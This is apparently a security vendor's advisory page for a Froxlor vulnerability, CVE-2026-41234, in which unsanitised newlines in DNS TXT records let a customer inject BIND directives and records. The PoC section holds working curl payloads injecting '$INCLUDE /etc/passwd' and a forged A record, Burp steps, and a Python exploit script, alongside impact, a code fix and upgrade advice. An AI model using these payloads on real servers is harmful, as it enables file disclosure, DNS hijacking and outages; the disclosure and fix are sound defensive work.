CVE-2026-41234

CVE-2026-41234 is a high-severity security vulnerability in froxlor/froxlor (composer), affecting versions <= 2.3.6. It is fixed in 2.3.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Froxlor: BIND Zone File Injection via TXT Record Content

The DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.

This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.

Affected Code

lib/Froxlor/Api/Commands/DomainZones.php, lines 306-308:

} elseif ($type == 'TXT' && !empty($content)) {
    // check that TXT content is enclosed in " "
    $content = Dns::encloseTXTContent($content);
}

Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.

Line 148 of DomainZones.php still contains:

// TODO regex validate content for invalid characters

The content flows to the zone file via DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates $this->content directly into the zone line followed by PHP_EOL. Embedded newlines in the content produce additional lines in the zone file output.

Comparison with CVE-2026-30932 fix

The v2.3.5 fix for CVE-2026-30932 added validation functions for these types:

Type Validation Added Still Vulnerable?
LOC Validate::validateDnsLoc() (strict regex) No
RP Validate::validateDnsRp() (domain validation) No
SSHFP Validate::validateDnsSshfp() (3-part split) No
TLSA Validate::validateDnsTlsa() (4-part split) No
TXT Dns::encloseTXTContent() (quotes only) Yes

PoC

Environment

  • Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
  • DNS enabled (system.bind_enable=1, system.dnsenabled=1)
  • Customer with dnsenabled=1, domain with isbinddomain=1
  • Customer has an API key (or uses the web UI DNS editor with Burp)

Reproduction via API

# Inject $INCLUDE directive to read /etc/passwd
curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "domainname": "testdomain.lab",
      "type": "TXT",
      "record": "@",
      "content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
      "ttl": 18000
    }
  }' \
  https://panel.example.com/api.php

Reproduction via Web UI (Burp)

  1. Log in as a customer with DNS editing enabled
  2. Navigate to Resources > Domains > (domain) > DNS Editor
  3. Add a new record: Type = TXT, Record = @, Content = any
  4. Intercept the POST request in Burp Suite
  5. Change the dns_content parameter to: v=spf1 +all"%0a$INCLUDE /etc/passwd
    (%0a is URL-encoded newline)
  6. Forward the request

Result

The API returns the generated zone content. The TXT record line is split at the newline, and $INCLUDE /etc/passwd appears on its own line as a BIND directive:

$TTL 604800
$ORIGIN testdomain.lab.
@   604800  IN  SOA  froxlor.lab admin.froxlor.lab. 2026041004 ...
@   18000   IN  TXT  "v=spf1 +all"
$INCLUDE /etc/passwd"
@   604800  IN  A    100.95.188.127
*   604800  IN  A    100.95.188.127

When the DNS rebuild cron runs, BIND processes the $INCLUDE directive and attempts to read /etc/passwd.

Variant: Arbitrary DNS record injection

The same technique injects arbitrary A/MX/CNAME records:

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "domainname": "testdomain.lab",
      "type": "TXT",
      "record": "_spf",
      "content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6",
      "ttl": 18000
    }
  }' \
  https://panel.example.com/api.php

Result:

_spf   18000  IN  TXT  "v=spf1 +all"
evil   18000  IN  A    6.6.6.6

evil.testdomain.lab now resolves to attacker IP 6.6.6.6.

Automated PoC Script

#!/usr/bin/env python3
"""Froxlor <= 2.3.5 TXT Zone Injection, Incomplete CVE-2026-30932 Fix"""
import json, sys, requests, urllib3
urllib3.disable_warnings()

def api(target, key, secret, cmd, params=None):
    return requests.post(f"{target.rstrip('/')}/api.php",
        auth=(key, secret), json={"command": cmd, "params": params or {}},
        verify=False).json()

target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]

# Inject $INCLUDE
r = api(target, key, secret, "DomainZones.add", {
    "domainname": domain, "type": "TXT", "record": "@",
    "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})

for line in r.get("data", []):
    tag = "   <-- INJECTED" if "$INCLUDE" in str(line) else ""
    if line: print(f"  {line}{tag}")

print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED")

Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld

Impact

  1. Information Disclosure: $INCLUDE directs BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer via DomainZones.listing or DNS queries to records created from parsed file lines.

  2. DNS Record Injection: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection.

  3. DNS Service Disruption: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain. $GENERATE directives can create massive record sets for amplification.

CVE-2026-41234 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.7); upgrading removes the vulnerable code path.

Affected versions

froxlor/froxlor (<= 2.3.6)

Security releases

froxlor/froxlor → 2.3.7 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Strip newlines and BIND metacharacters from TXT content. Minimal fix:

// lib/Froxlor/Api/Commands/DomainZones.php, around line 306
} elseif ($type == 'TXT' && !empty($content)) {
    // Strip characters that can break zone file format
    $content = str_replace(["\n", "\r", "\t"], '', $content);
    $content = Dns::encloseTXTContent($content);
}

A more comprehensive fix would add a validation function (similar to validateDnsLoc, validateDnsSshfp, etc.) that rejects any content containing zone metacharacters ($, newlines), and remove the TODO at line 148.

Frequently Asked Questions

  1. What is CVE-2026-41234? CVE-2026-41234 is a high-severity security vulnerability in froxlor/froxlor (composer), affecting versions <= 2.3.6. It is fixed in 2.3.7.
  2. How severe is CVE-2026-41234? CVE-2026-41234 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of froxlor/froxlor are affected by CVE-2026-41234? froxlor/froxlor (composer) versions <= 2.3.6 is affected.
  4. Is there a fix for CVE-2026-41234? Yes. CVE-2026-41234 is fixed in 2.3.7. Upgrade to this version or later.
  5. Is CVE-2026-41234 exploitable, and should I be worried? Whether CVE-2026-41234 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-41234 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-41234? Upgrade froxlor/froxlor to 2.3.7 or later.

Other vulnerabilities in froxlor/froxlor

Stop the waste.
Protect your environment with Kodem.